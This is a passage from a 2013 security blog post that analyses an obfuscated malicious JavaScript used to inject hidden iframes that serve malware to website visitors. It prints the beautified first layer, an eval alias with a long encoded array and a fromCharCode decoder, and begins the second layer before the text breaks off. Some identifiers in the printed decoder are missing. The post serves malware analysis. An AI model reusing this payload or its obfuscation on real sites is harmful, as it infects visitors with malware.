Monday, September 30, 2013

3 Levels Of Obfuscation To Mask Malware

Malicious Hidden Iframe Injection Obfuscated On Multiple Levels 


Background

Online Website Malware Scanner reported malicious JavaScript code in the scanned web pages. Such malicious obfuscated JavaScript code is used to inject malicious iframe(s) invisibly to website visitor and to download malware from remote distributor onto visitor's computer.

This post covers the analysis of real-life malware script example as identified on website. Malicious JavaScript is using 3 obfuscation levels to finally inject malicious hidden iframe.

Malicious action

Malicious iframes are often used to distribute malware hosted on external web resources(websites).

Malware entry details

The initial script is broken down into logical levels of obfuscation. For analysis purposes we will show them separately.

Obfuscation level 1


Beautified script:


  1. try {
  2.     abre++
  3. } catch (a6ba34y) {
  4.     try {
  5.         dsgsdh & 2
  6.     } catch (asab) {
  7.         e = window["" + "e" + "val"];
  8.     }
  9. }
  10. if (1) {
  11.     f = [103, 100, 106, 110, 104, 87, 56, 29, 28, 46, 111, 84, 84, 102, 84, 91, 26, 50, 53, 73, 69, 56, 27, 108,103, 100, 106, 110, 57, 75, 55, 57, 109, 36, 39, 35, 38, 36, 110, 86, 83, 101, 86, 90, 25, 88, 105, 82, 85, 89,99, 88, 27, 108, 96, 47, 62, 84, 102, 89, 46, 87, 103, 48, 105, 90, 97, 86, 96, 106, 77, 19, 21, 29, 19, 88, 20,28, 21, 104, 82, 95, 20, 78, 46, 111, 87, 89, 47, 19, 89, 100, 96, 96, 53, 89, 84, 20, 44, 89, 88, 28, 48, 20, 99,54, 97, 85, 88, 20, 44, 97, 47, 19, 36, 40, 35, 39, 24, 23, 36, 41, 34, 35, 24, 23, 36, 40, 42, 39, 24, 23, 36,42, 37, 40, 24, 23, 36, 40, 38, 37, 24, 23, 36, 39, 36, 35, 24, 23, 44, 40, 39, 25, 24, 39, 39, 39, 23, 25, 40,33, 37, 24, 23, 43, 42, 38, 25, 24, 34, 42, 39, 33, 25, 24, 34, 39, 42, 38, 25, 24, 34, 38, 39, 41, 25, 24, 34,42, 38, 33, 25, 24, 34, 38, 42, 39, 25, 24, 34, 40, 40, 33, 25, 24, 38, 41, 34, 23, 25, 43, 40, 40, 24, 23, 44,36, 37, 25, 24, 34, 38, 34, 38, 25, 24, 34, 36, 41, 39, 25, 24, 34, 35, 37, 38, 25, 24, 38, 42, 38, 23, 25, 35,41, 39, 39, 23, 25, 35, 39, 37, 38, 23, 25, 35, 40, 36, 34, 23, 25, 35, 39, 44, 38, 23, 25, 35, 41, 39, 39, 23,25, 43, 42, 39, 24, 23, 36, 37, 38, 35, 24, 23, 44, 39, 35, 25, 24, 34, 35, 40, 38, 25, 24, 34, 42, 37, 39, 25,24, 40, 38, 39, 23, 25, 41, 37, 37, 24, 23, 42, 39, 33, 25, 24, 40, 36, 38, 23, 25, 41, 38, 35, 24, 23, 36, 41,38, 35, 24, 23, 36, 38, 41, 40, 24, 23, 36, 37, 38, 43, 24, 23, 36, 41, 37, 35, 24, 23, 36, 37, 41, 41, 24, 23,36, 39, 39, 35, 24, 23, 40, 40, 33, 25, 24, 34, 40, 35, 38, 25, 24, 34, 41, 40, 39, 25, 24, 34, 39, 39, 38, 25,24, 34, 38, 41, 35, 25, 24, 34, 40, 38, 38, 25, 24, 34, 40, 43, 39, 25, 24, 34, 40, 35, 38, 25, 24, 38, 42, 38,23, 25, 35, 41, 39, 39, 23, 25, 35, 38, 37, 40, 23, 25, 43, 34, 40, 24, 23, 36, 34, 40, 43, 24, 23, 36, 38, 38,40, 24, 23, 36, 40, 35, 39, 24, 23, 36, 39, 39, 35, 24, 23, 43, 36, 39, 25, 24, 34, 40, 35, 38, 25, 24, 34, 41,39, 35, 25, 24, 42, 36, 39, 23, 25, 35, 39, 41, 40, 23, 25, 35, 38, 42, 39, 23, 25, 35, 38, 39, 34, 23, 25, 35,38, 35, 34, 23, 25, 35, 38, 40, 38, 23, 25, 35, 40, 43, 39, 23, 25, 35, 35, 42, 38, 23, 25, 39, 34, 35, 24, 23,39, 41, 39, 25, 24, 39, 39, 39, 23, 25, 38, 40, 41, 24, 23, 36, 39, 34, 40, 24, 23, 39, 41, 39, 25, 24, 39, 39,39, 23, 25, 38, 40, 41, 24, 23, 36, 41, 40, 35, 24, 23, 36, 37, 38, 43, 24, 23, 36, 40, 35, 35, 24, 23, 39, 41,39, 25, 24, 34, 38, 43, 38, 25, 24, 41, 37, 40, 23, 25, 35, 41, 42, 39, 23, 25, 35, 37, 37, 42, 23, 25, 35, 38,38, 34, 23, 25, 42, 38, 39, 24, 23, 40, 35, 33, 25, 24, 34, 39, 36, 41, 25, 24, 34, 42, 35, 33, 25, 24, 34, 40,39, 37, 25, 24, 34, 41, 37, 38, 25, 24, 42, 38, 42, 23, 25, 35, 38, 41, 34, 23, 25, 35, 36, 40, 42, 23, 25, 39,34, 35, 24, 23, 43, 36, 39, 25, 24, 34, 40, 37, 33, 25, 24, 34, 39, 36, 41, 25, 24, 39, 39, 39, 23, 25, 42, 38,39, 24, 23, 40, 35, 33, 25, 24, 34, 40, 43, 39, 25, 24, 34, 35, 34, 38, 25, 24, 34, 40, 39, 37, 25, 24, 34, 40,34, 33, 25, 24, 34, 39, 35, 37, 25, 24, 38, 36, 34, 23, 25, 42, 35, 41, 24, 23, 36, 40, 38, 35, 24, 23, 43, 39,37, 25, 24, 38, 36, 34, 23, 25, 40, 41, 41, 24, 23, 43, 38, 33, 25, 24, 40, 35, 34, 23, 25, 39, 40, 35, 24, 23,40, 37, 35, 25, 24, 40, 38, 39, 23, 25, 41, 37, 37, 24, 23, 42, 36, 33, 25, 24, 38, 38, 36, 23, 25, 39, 40, 35,24, 23, 41, 42, 39, 25, 24, 40, 43, 34, 23, 25, 40, 40, 37, 24, 23, 42, 36, 33, 25, 24, 38, 38, 36, 23, 25, 39,40, 35, 24, 23, 41, 42, 39, 25, 24, 41, 36, 34, 23, 25, 41, 38, 41, 24, 23, 42, 43, 38, 25, 24, 38, 38, 36, 23,25, 39, 40, 35, 24, 23, 41, 42, 39, 25, 24, 40, 41, 39, 23, 25, 41, 41, 39, 24, 23, 43, 35, 33, 25, 24, 38, 38,36, 23, 25, 39, 40, 35, 24, 23, 41, 42, 39, 25, 24, 41, 37, 39, 23, 25, 41, 37, 37, 24, 23, 42, 43, 38, 25, 24,38, 38, 36, 23, 25, 39, 40, 35, 24, 23, 41, 42, 39, 25, 24, 40, 44, 39, 23, 25, 41, 33, 35, 24, 23, 43, 35, 33,25, 24, 38, 38, 36, 23, 25, 39, 40, 35, 24, 23, 41, 42, 39, 25, 24, 40, 44, 39, 23, 25, 40, 41, 41, 24, 23, 42,43, 38, 25, 24, 38, 38, 36, 23, 25, 39, 40, 35, 24, 23, 41, 42, 39, 25, 24, 40, 44, 39, 23, 25, 41, 35, 43, 24,23, 42, 36, 33, 25, 24, 38, 38, 36, 23, 25, 39, 40, 35, 24, 23, 41, 42, 39, 25, 24, 41, 37, 39, 23, 25, 41, 35,43, 24, 23, 42, 36, 33, 25, 24, 38, 38, 36, 23, 25, 39, 40, 35, 24, 23, 42, 39, 39, 25, 24, 40, 43, 34, 23, 25,41, 35, 43, 24, 23, 40, 41, 33, 25, 24, 38, 38, 36, 23, 25, 41, 36, 40, 24, 23, 42, 41, 33, 25, 24, 41, 39, 34,23, 25, 41, 37, 37, 24, 23, 40, 41, 33, 25, 24, 38, 38, 36, 23, 25, 41, 36, 40, 24, 23, 42, 38, 35, 25, 24, 41,40, 39, 23, 25, 41, 38, 41, 24, 23, 40, 41, 33, 25, 24, 38, 38, 36, 23, 25, 41, 36, 40, 24, 23, 42, 38, 35, 25,24, 41, 37, 39, 23, 25, 41, 37, 37, 24, 23, 40, 41, 33, 25, 24, 38, 38, 36, 23, 25, 41, 36, 40, 24, 23, 42, 39,39, 25, 24, 40, 40, 34, 23, 25, 41, 35, 43, 24, 23, 40, 41, 33, 25, 24, 38, 38, 36, 23, 25, 41, 36, 40, 24, 23,42, 38, 35, 25, 24, 40, 38, 39, 23, 25, 41, 37, 37, 24, 23, 40, 41, 33, 25, 24, 38, 38, 36, 23, 25, 41, 42, 40,24, 23, 42, 39, 39, 25, 24, 40, 37, 34, 23, 25, 39, 36, 37, 24, 23, 40, 41, 33, 25, 24, 40, 39, 36, 23, 25, 42,37, 35, 24, 23, 42, 38, 35, 25, 24, 38, 42, 34, 23, 25, 39, 36, 37, 24, 23, 43, 38, 33, 25, 24, 40, 37, 42, 23,25, 41, 35, 35, 24, 23, 40, 37, 35, 25, 24, 38, 42, 34, 23, 25, 40, 41, 41, 24, 23, 42, 43, 38, 25, 24, 40, 42,34, 23, 25, 41, 42, 40, 24, 23, 40, 37, 35, 25, 24, 38, 42, 34, 23, 25, 40, 41, 41, 24, 23, 42, 42, 33, 25, 24,40, 35, 34, 23, 25, 42, 37, 35, 24, 23, 40, 37, 35, 25, 24, 38, 42, 34, 23, 25, 40, 41, 41, 24, 23, 43, 36, 38,25, 24, 39, 43, 40, 23, 25, 41, 35, 35, 24, 23, 40, 37, 35, 25, 24, 38, 42, 34, 23, 25, 40, 41, 41, 24, 23, 42,40, 38, 25, 24, 40, 39, 36, 23, 25, 42, 37, 35, 24, 23, 40, 37, 35, 25, 24, 38, 42, 34, 23, 25, 40, 41, 41, 24,23, 43, 35, 33, 25, 24, 40, 36, 38, 23, 25, 41, 42, 40, 24, 23, 40, 37, 35, 25, 24, 38, 42, 34, 23, 25, 40, 41,41, 24, 23, 42, 42, 33, 25, 24, 39, 43, 40, 23, 25, 41, 41, 35, 24, 23, 40, 37, 35, 25, 24, 38, 42, 34, 23, 25,41, 35, 43, 24, 23, 43, 38, 33, 25, 24, 39, 42, 36, 23, 25, 39, 40, 35, 24, 23, 40, 37, 35, 25, 24, 40, 38, 39,23, 25, 41, 38, 41, 24, 23, 42, 37, 38, 25, 24, 39, 42, 36, 23, 25, 39, 40, 35, 24, 23, 40, 37, 35, 25, 24, 40,38, 39, 23, 25, 41, 40, 35, 24, 23, 42, 37, 38, 25, 24, 39, 42, 36, 23, 25, 39, 40, 35, 24, 23, 40, 37, 35, 25,24, 40, 38, 39, 23, 25, 41, 34, 39, 24, 23, 43, 38, 33, 25, 24, 40, 40, 40, 23, 25, 39, 40, 35, 24, 23, 40, 37,35, 25, 24, 41, 40, 39, 23, 25, 40, 41, 41, 24, 23, 42, 43, 38, 25, 24, 38, 38, 36, 23, 25, 39, 40, 35, 24, 23,42, 36, 41, 25, 24, 41, 37, 39, 23, 25, 41, 38, 41, 24, 23, 40, 41, 33, 25, 24, 38, 38, 36, 23, 25, 41, 36, 40,24, 23, 42, 38, 35, 25, 24, 41, 36, 34, 23, 25, 40, 40, 37, 24, 23, 40, 41, 33, 25, 24, 38, 38, 36, 23, 25, 41,36, 40, 24, 23, 42, 39, 39, 25, 24, 40, 40, 34, 23, 25, 41, 35, 43, 24, 23, 40, 41, 33, 25, 24, 38, 38, 36, 23,25, 41, 36, 40, 24, 23, 42, 41, 33, 25, 24, 40, 43, 34, 23, 25, 40, 40, 37, 24, 23, 40, 41, 33, 25, 24, 38, 38,36, 23, 25, 41, 36, 40, 24, 23, 42, 38, 35, 25, 24, 41, 36, 34, 23, 25, 41, 41, 39, 24, 23, 40, 41, 33, 25, 24,38, 38, 36, 23, 25, 42, 37, 35, 24, 23, 42, 41, 33, 25, 24, 40, 37, 34, 23, 25, 39, 36, 37, 24, 23, 40, 41, 33,25, 24, 40, 40, 40, 23, 25, 41, 42, 40, 24, 23, 42, 42, 37, 25, 24, 38, 42, 34, 23, 25, 39, 36, 37, 24, 23, 43,36, 38, 25, 24, 39, 42, 36, 23, 25, 41, 42, 40, 24, 23, 40, 37, 35, 25, 24, 38, 42, 34, 23, 25, 40, 41, 41, 24,23, 43, 35, 33, 25, 24, 40, 39, 36, 23, 25, 41, 38, 35, 24, 23, 40, 37, 35, 25, 24, 38, 42, 34, 23, 25, 40, 41,41, 24, 23, 42, 43, 38, 25, 24, 39, 43, 40, 23, 25, 41, 42, 40, 24, 23, 40, 37, 35, 25, 24, 38, 42, 34, 23, 25,40, 41, 41, 24, 23, 42, 43, 38, 25, 24, 40, 44, 42, 23, 25, 42, 34, 35, 24, 23, 40, 37, 35, 25, 24, 38, 42, 34,23, 25, 40, 41, 41, 24, 23, 42, 43, 38, 25, 24, 39, 42, 36, 23, 25, 41, 35, 35, 24, 23, 40, 37, 35, 25, 24, 38,42, 34, 23, 25, 40, 41, 41, 24, 23, 42, 42, 33, 25, 24, 40, 42, 34, 23, 25, 41, 35, 35, 24, 23, 40, 37, 35, 25,24, 38, 42, 34, 23, 25, 40, 41, 41, 24, 23, 42, 42, 33, 25, 24, 40, 43, 38, 23, 25, 41, 42, 40, 24, 23, 40, 37,35, 25, 24, 38, 42, 34, 23, 25, 40, 41, 41, 24, 23, 43, 35, 33, 25, 24, 40, 35, 34, 23, 25, 41, 41, 35, 24, 23,40, 37, 35, 25, 24, 38, 42, 34, 23, 25, 40, 41, 41, 24, 23, 42, 43, 38, 25, 24, 39, 42, 36, 23, 25, 41, 35, 35,24, 23, 40, 37, 35, 25, 24, 38, 42, 34, 23, 25, 40, 41, 41, 24, 23, 42, 42, 33, 25, 24, 39, 43, 40, 23, 25, 41,41, 35, 24, 23, 40, 37, 35, 25, 24, 38, 42, 34, 23, 25, 40, 41, 41, 24, 23, 42, 42, 33, 25, 24, 40, 43, 38, 23,25, 41, 42, 40, 24, 23, 40, 37, 35, 25, 24, 38, 42, 34, 23, 25, 40, 41, 41, 24, 23, 42, 43, 38, 25, 24, 39, 43,40, 23, 25, 41, 38, 35, 24, 23, 40, 37, 35, 25, 24, 38, 42, 34, 23, 25, 40, 41, 41, 24, 23, 42, 43, 38, 25, 24,40, 42, 34, 23, 25, 41, 42, 40, 24, 23, 40, 37, 35, 25, 24, 38, 42, 34, 23, 25, 40, 41, 41, 24, 23, 42, 40, 38,25, 24, 40, 43, 38, 23, 25, 42, 34, 35, 24, 23, 40, 37, 35, 25, 24, 38, 42, 34, 23, 25, 40, 41, 41, 24, 23, 43,35, 33, 25, 24, 39, 42, 36, 23, 25, 41, 42, 40, 24, 23, 40, 37, 35, 25, 24, 38, 42, 34, 23, 25, 41, 38, 41, 24,23, 42, 42, 33, 25, 24, 40, 37, 42, 23, 25, 39, 40, 35, 24, 23, 40, 37, 35, 25, 24, 40, 38, 39, 23, 25, 41, 35,43, 24, 23, 43, 38, 33, 25, 24, 40, 39, 36, 23, 25, 39, 40, 35, 24, 23, 40, 37, 35, 25, 24, 40, 38, 39, 23, 25,41, 37, 37, 24, 23, 42, 43, 38, 25, 24, 40, 37, 42, 23, 25, 39, 40, 35, 24, 23, 40, 37, 35, 25, 24, 40, 38, 39,23, 25, 41, 38, 41, 24, 23, 42, 40, 38, 25, 24, 40, 39, 36, 23, 25, 39, 40, 35, 24, 23, 40, 37, 35, 25, 24, 41,36, 34, 23, 25, 41, 37, 37, 24, 23, 43, 38, 33, 25, 24, 38, 38, 36, 23, 25, 39, 40, 35, 24, 23, 41, 42, 39, 25,24, 41, 36, 34, 23, 25, 41, 33, 35, 24, 23, 42, 36, 33, 25, 24, 38, 38, 36, 23, 25, 39, 40, 35, 24, 23, 41, 42,39, 25, 24, 40, 43, 34, 23, 25, 41, 40, 35, 24, 23, 42, 36, 33, 25, 24, 38, 38, 36, 23, 25, 39, 40, 35, 24, 23,41, 42, 39, 25, 24, 41, 36, 34, 23, 25, 41, 37, 37, 24, 23, 42, 36, 33, 25, 24, 38, 38, 36, 23, 25, 39, 40, 35,24, 23, 41, 42, 39, 25, 24, 40, 43, 34, 23, 25, 41, 42, 43, 24, 23, 43, 38, 33, 25, 24, 38, 38, 36, 23, 25, 39,40, 35, 24, 23, 41, 42, 39, 25, 24, 41, 37, 39, 23, 25, 41, 33, 35, 24, 23, 42, 43, 38, 25, 24, 38, 38, 36, 23,25, 39, 40, 35, 24, 23, 42, 39, 39, 25, 24, 40, 44, 39, 23, 25, 41, 41, 39, 24, 23, 40, 41, 33, 25, 24, 38, 38,36, 23, 25, 41, 36, 40, 24, 23, 42, 38, 35, 25, 24, 40, 38, 39, 23, 25, 41, 37, 37, 24, 23, 40, 41, 33, 25, 24,38, 38, 36, 23, 25, 41, 36, 40, 24, 23, 42, 39, 39, 25, 24, 40, 38, 39, 23, 25, 40, 40, 37, 24, 23, 40, 41, 33,25, 24, 38, 38, 36, 23, 25, 41, 36, 40, 24, 23, 42, 39, 39, 25, 24, 41, 39, 34, 23, 25, 40, 40, 37, 24, 23, 40,41, 33, 25, 24, 38, 38, 36, 23, 25, 41, 36, 40, 24, 23, 42, 36, 41, 25, 24, 40, 38, 39, 23, 25, 41, 35, 43, 24,23, 40, 41, 33, 25, 24, 38, 38, 36, 23, 25, 41, 36, 40, 24, 23, 42, 36, 41, 25, 24, 41, 39, 34, 23, 25, 41, 37,37, 24, 23, 40, 41, 33, 25, 24, 38, 38, 36, 23, 25, 41, 36, 40, 24, 23, 42, 36, 41, 25, 24, 41, 37, 39, 23, 25,40, 40, 37, 24, 23, 40, 41, 33, 25, 24, 38, 38, 36, 23, 25, 41, 36, 40, 24, 23, 42, 36, 41, 25, 24, 40, 44, 39,23, 25, 41, 37, 37, 24, 23, 40, 41, 33, 25, 24, 38, 38, 36, 23, 25, 41, 36, 40, 24, 23, 42, 38, 35, 25, 24, 40,38, 39, 23, 25, 41, 33, 35, 24, 23, 40, 41, 33, 25, 24, 38, 38, 36, 23, 25, 41, 36, 40, 24, 23, 42, 39, 39, 25,24, 40, 40, 34, 23, 25, 40, 40, 37, 24, 23, 40, 41, 33, 25, 24, 38, 38, 36, 23, 25, 41, 36, 40, 24, 23, 42, 39,39, 25, 24, 41, 40, 39, 23, 25, 41, 35, 43, 24, 23, 40, 41, 33, 25, 24, 38, 38, 36, 23, 25, 42, 34, 35, 24, 23,42, 41, 33, 25, 24, 40, 44, 39, 23, 25, 39, 36, 37, 24, 23, 40, 41, 33, 25, 24, 39, 43, 40, 23, 25, 41, 42, 40,24, 23, 42, 43, 41, 25, 24, 41, 36, 34, 23, 25, 39, 36, 37, 24, 23, 40, 41, 33, 25, 24, 39, 43, 40, 23, 25, 41,42, 40, 24, 23, 41, 42, 39, 25, 24, 40, 44, 39, 23, 25, 39, 36, 37, 24, 23, 40, 41, 33, 25, 24, 39, 43, 40, 23,25, 42, 34, 35, 24, 23, 41, 42, 39, 25, 24, 40, 37, 34, 23, 25, 39, 36, 37, 24, 23, 40, 41, 33, 25, 24, 39, 43,40, 23, 25, 41, 42, 40, 24, 23, 41, 42, 39, 25, 24, 40, 44, 39, 23, 25, 39, 36, 37, 24, 23, 40, 41, 33, 25, 24,39, 43, 40, 23, 25, 41, 42, 40, 24, 23, 42, 43, 41, 25, 24, 41, 36, 34, 23, 25, 39, 36, 37, 24, 23, 40, 41, 33,25, 24, 39, 43, 40, 23, 25, 42, 35, 40, 24, 23, 42, 41, 33, 25, 24, 40, 37, 34, 23, 25, 39, 36, 37, 24, 23, 40,41, 33, 25, 24, 39, 43, 40, 23, 25, 41, 41, 35, 24, 23, 41, 42, 39, 25, 24, 40, 43, 34, 23, 25, 39, 36, 37, 24,23, 40, 41, 33, 25, 24, 39, 43, 40, 23, 25, 41, 42, 40, 24, 23, 41, 41, 35, 25, 24, 40, 37, 34, 23, 25, 39, 36,37, 24, 23, 40, 41, 33, 25, 24, 40, 40, 40, 23, 25, 41, 39, 40, 24, 23, 41, 41, 35, 25, 24, 38, 42, 34, 23, 25,39, 36, 37, 24, 23, 42, 37, 38, 25, 24, 40, 39, 36, 23, 25, 42, 35, 40, 24, 23, 42, 38, 35, 25, 24, 38, 42, 34,23, 25, 39, 36, 37, 24, 23, 42, 37, 38, 25, 24, 40, 39, 36, 23, 25, 41, 41, 35, 24, 23, 41, 41, 35, 25, 24, 38,42, 34, 23, 25, 39, 36, 37, 24, 23, 42, 37, 38, 25, 24, 40, 37, 42, 23, 25, 42, 37, 35, 24, 23, 42, 38, 35, 25,24, 38, 42, 34, 23, 25, 39, 36, 37, 24, 23, 42, 37, 38, 25, 24, 40, 39, 36, 23, 25, 42, 38, 40, 24, 23, 42, 39,39, 25, 24, 38, 42, 34, 23, 25, 39, 36, 37, 24, 23, 42, 37, 38, 25, 24, 40, 39, 36, 23, 25, 41, 36, 40, 24, 23,42, 38, 35, 25, 24, 38, 42, 34, 23, 25, 39, 36, 37, 24, 23, 42, 37, 38, 25, 24, 40, 36, 38, 23, 25, 41, 42, 40,24, 23, 42, 42, 37, 25, 24, 38, 42, 34, 23, 25, 39, 36, 37, 24, 23, 42, 37, 38, 25, 24, 40, 42, 34, 23, 25, 41,38, 35, 24, 23, 42, 38, 35, 25, 24, 38, 42, 34, 23, 25, 39, 36, 37, 24, 23, 42, 37, 38, 25, 24, 40, 37, 42, 23,25, 42, 35, 40, 24, 23, 41, 41, 35, 25, 24, 38, 42, 34, 23, 25, 39, 36, 37, 24, 23, 42, 37, 38, 25, 24, 40, 40,40, 23, 25, 41, 42, 40, 24, 23, 41, 41, 35, 25, 24, 38, 42, 34, 23, 25, 39, 36, 37, 24, 23, 42, 37, 38, 25, 24,40, 37, 42, 23, 25, 41, 41, 35, 24, 23, 42, 34, 33, 25, 24, 38, 42, 34, 23, 25, 39, 36, 37, 24, 23, 43, 35, 33,25, 24, 40, 44, 42, 23, 25, 41, 35, 35, 24, 23, 40, 37, 35, 25, 24, 38, 42, 34, 23, 25, 40, 41, 41, 24, 23, 42,43, 38, 25, 24, 40, 40, 40, 23, 25, 42, 37, 35, 24, 23, 40, 37, 35, 25, 24, 38, 42, 34, 23, 25, 40, 41, 41, 24,23, 42, 43, 38, 25, 24, 40, 40, 40, 23, 25, 41, 35, 35, 24, 23, 40, 37, 35, 25, 24, 38, 42, 34, 23, 25, 40, 41,41, 24, 23, 42, 43, 38, 25, 24, 40, 40, 40, 23, 25, 42, 37, 35, 24, 23, 40, 37, 35, 25, 24, 38, 42, 34, 23, 25,41, 37, 37, 24, 23, 42, 37, 38, 25, 24, 39, 42, 36, 23, 25, 39, 40, 35, 24, 23, 40, 37, 35, 25, 24, 40, 43, 34,23, 25, 41, 35, 43, 24, 23, 43, 38, 33, 25, 24, 38, 38, 36, 23, 25, 39, 40, 35, 24, 23, 41, 42, 39, 25, 24, 41,36, 34, 23, 25, 41, 37, 37, 24, 23, 42, 36, 33, 25, 24, 38, 38, 36, 23, 25, 39, 40, 35, 24, 23, 41, 42, 39, 25,24, 40, 41, 39, 23, 25, 41, 37, 37, 24, 23, 43, 38, 33, 25, 24, 38, 38, 36, 23, 25, 39, 40, 35, 24, 23, 41, 42,39, 25, 24, 41, 36, 34, 23, 25, 41, 34, 39, 24, 23, 42, 43, 38, 25, 24, 38, 38, 36, 23, 25, 39, 40, 35, 24, 23,41, 42, 39, 25, 24, 40, 43, 34, 23, 25, 40, 41, 41, 24, 23, 42, 42, 33, 25, 24, 38, 38, 36, 23, 25, 39, 40, 35,24, 23, 42, 43, 41, 25, 24, 40, 38, 39, 23, 25, 41, 37, 37, 24, 23, 40, 41, 33, 25, 24, 38, 38, 36, 23, 25, 41,41, 35, 24, 23, 42, 41, 33, 25, 24, 41, 36, 34, 23, 25, 39, 36, 37, 24, 23, 40, 41, 33, 25, 24, 39, 43, 40, 23,25, 41, 38, 35, 24, 23, 42, 39, 39, 25, 24, 40, 37, 34, 23, 25, 39, 36, 37, 24, 23, 40, 41, 33, 25, 24, 39, 43,40, 23, 25, 42, 34, 35, 24, 23, 42, 39, 39, 25, 24, 41, 36, 34, 23, 25, 39, 36, 37, 24, 23, 40, 41, 33, 25, 24,39, 43, 40, 23, 25, 41, 42, 40, 24, 23, 42, 41, 33, 25, 24, 40, 44, 39, 23, 25, 39, 36, 37, 24, 23, 40, 41, 33,25, 24, 39, 43, 40, 23, 25, 42, 34, 35, 24, 23, 42, 34, 33, 25, 24, 40, 43, 34, 23, 25, 39, 36, 37, 24, 23, 40,41, 33, 25, 24, 39, 43, 40, 23, 25, 42, 35, 40, 24, 23, 42, 36, 41, 25, 24, 40, 37, 34, 23, 25, 39, 36, 37, 24,23, 40, 41, 33, 25, 24, 39, 43, 40, 23, 25, 41, 41, 35, 24, 23, 41, 42, 39, 25, 24, 40, 43, 34, 23, 25, 39, 36,37, 24, 23, 40, 41, 33, 25, 24, 39, 43, 40, 23, 25, 42, 35, 40, 24, 23, 41, 42, 39, 25, 24, 40, 37, 34, 23, 25,39, 36, 37, 24, 23, 40, 41, 33, 25, 24, 40, 37, 42, 23, 25, 42, 35, 40, 24, 23, 42, 39, 39, 25, 24, 38, 42, 34,23, 25, 39, 36, 37, 24, 23, 42, 42, 33, 25, 24, 40, 43, 38, 23, 25, 41, 35, 35, 24, 23, 40, 37, 35, 25, 24, 38,42, 34, 23, 25, 40, 41, 41, 24, 23, 43, 35, 33, 25, 24, 39, 43, 40, 23, 25, 41, 35, 35, 24, 23, 40, 37, 35, 25,24, 38, 42, 34, 23, 25, 40, 41, 41, 24, 23, 42, 42, 33, 25, 24, 40, 43, 38, 23, 25, 41, 42, 40, 24, 23, 40, 37,35, 25, 24, 38, 42, 34, 23, 25, 40, 41, 41, 24, 23, 42, 43, 38, 25, 24, 40, 44, 42, 23, 25, 42, 34, 35, 24, 23,40, 37, 35, 25, 24, 38, 42, 34, 23, 25, 40, 41, 41, 24, 23, 43, 35, 33, 25, 24, 40, 40, 40, 23, 25, 41, 42, 40,24, 23, 40, 37, 35, 25, 24, 38, 42, 34, 23, 25, 40, 41, 41, 24, 23, 42, 43, 38, 25, 24, 39, 43, 40, 23, 25, 41,38, 35, 24, 23, 40, 37, 35, 25, 24, 38, 42, 34, 23, 25, 40, 41, 41, 24, 23, 43, 35, 33, 25, 24, 40, 35, 34, 23,25, 41, 35, 35, 24, 23, 40, 37, 35, 25, 24, 38, 42, 34, 23, 25, 40, 41, 41, 24, 23, 42, 42, 33, 25, 24, 40, 42,34, 23, 25, 41, 35, 35, 24, 23, 40, 37, 35, 25, 24, 38, 42, 34, 23, 25, 40, 41, 41, 24, 23, 43, 35, 33, 25, 24,40, 39, 36, 23, 25, 41, 35, 35, 24, 23, 40, 37, 35, 25, 24, 38, 42, 34, 23, 25, 40, 41, 41, 24, 23, 42, 42, 33,25, 24, 40, 37, 42, 23, 25, 41, 38, 35, 24, 23, ...
  12. 96, 88, 78, 88, 87, 80, 26, 95, 78, 91, 78, 34, 26, 90, 24, 90, 28, 35, 35, 39, 28, 27, 44, 112, 87, 103, 27, 101,26, 46, 111];
  13. }
  14. = f;
  15. = [];
  16. = String;
  17. = "j%";
  18. for (= 0; - i + 7022 != 0; i += 1) {
  19.     j = i;
  20.     if (&& (031 == 0x19)) s = s + r.fromCharCode((1 * w[j] + e(+ 3) + 13));
  21. }
  22. try {
  23.     asgasg++
  24. } catch (asga) {
  25.     e("" + s);
  26. }

Obfuscation level 2


Beautified script:


  1. try {
  2.     vfE++;
  3. } catch (ABWTE) {
  4.     try {
  5.         GZDG | 15232
  6.     } catch (ewabgre) {
  7.         m = Math;
  8.         ev = window["" + "e" + "val"];
  9.     }
  10.     ff = "fromCha";
  11.     ff += "rCode";
  12.     n ="1624&&1710&&1694&&1845&&1652&&1530&&966&&645&&602&&885&&1750&&1485&&1358&&1740&&1386&&1560&&560&&975&&924&&1305&&1176&&1035&&574&&1845&&1624&&1710&&1694&&1845&&994&&1350&&952&&1065&&1736&&735&&742&&750&&714&&750&&1750&&1485&&1358&&1740&&1386&&1560&&560&&1515&&1666&&1455&&1372&&1545&&1596&&1515&&574&&1845&&1526&&915&&1078&&1455&&1624&&1560&&826&&1515&&1652&&915&&1666&&1575&&1540&&1500&&1554&&1785&&1274&&510&&476&&645&&476&&1515&&476&&645&&476&&1770&&1358&&1620&&476&&1395&&826&&1875&&1428&&1530&&854&&510&&1428&&1710&&1554&&1635&&938&&1560&&1358&&510&&826&&1530&&1428&&645&&854&&510&&1596&&1005&&1554&&1500&&1414&&510&&826&&1650&&854&&510&&686&&840&&700&&570&&532&&735&&742&&720&&532&&570&&686&&780&&672&&720&&532&&570&&686&&810&&756&&795&&532&&570&&686&&765&&784&&810&&532&&570&&686&&825&&742&&795&&532&&570&&686&&795&&700&&810&&532&&570&&686&&795&&686&&795&&532&&570&&686&&795&&728&&720&&532&&570&&686&&825&&728&&720&&532&&570&&756&&780&&728&&570&&532&&735&&770&&840&&742&&570&&532&&735&&742&&855&&756&&570&&532&&735&&742&&825&&742&&570&&532&&735&&756&&750&&728&&570&&532&&735&&742&&735&&742&&570&&532&&795&&756&&720&&532&&570&&742&&840&&742&&570&&532&&840&&728&&720&&532&&570&&686&&795&&770&&795&&532&&570&&686&&780&&700&&840&&532&&570&&686&&825&&686&&720&&532&&570&&686&&765&&742&&840&&532&&570&&686&&810&&714&&795&&532&&570&&686&&780&&686&&780&&532&&570&&728&&840&&672&&570&&532&&735&&756&&735&&672&&570&&532&&735&&770&&735&&672&&570&&532&&735&&714&&840&&756&&570&&532&&855&&686&&795&&532&&570&&728&&825&&756&&570&&532&&735&&742&&810&&672&&570&&532&&735&&756&&750&&728&&570&&532&&735&&770&&780&&672&&570&&532&&735&&742&&810&&784&&570&&532&&840&&770&&720&&532&&570&&756&&795&&784&&570&&532&&825&&672&&795&&532&&570&&686&&810&&742&&750&&532&&570&&686&&795&&686&&795&&532&&570&&686&&795&&798&&810&&532&&570&&686&&795&&672&&720&&532&&570&&686&&780&&770&&720&&532&&570&&686&&780&&784&&795&&532&&570&&686&&810&&700&&780&&532&&570&&686&&795&&672&&720&&532&&570&&686&&780&&686&&780&&532&&570&&686&&780&&784&&795&&532&&570&&686&&795&&686&&750&&532&&570&&686&&795&&770&&795&&532&&570&&686&&765&&784&&810&&532&&570&&686&&810&&672&&795&&532&&570&&756&&780&&728&&570&&532&&735&&728&&840&&742&&570&&532&&735&&742&&795&&728&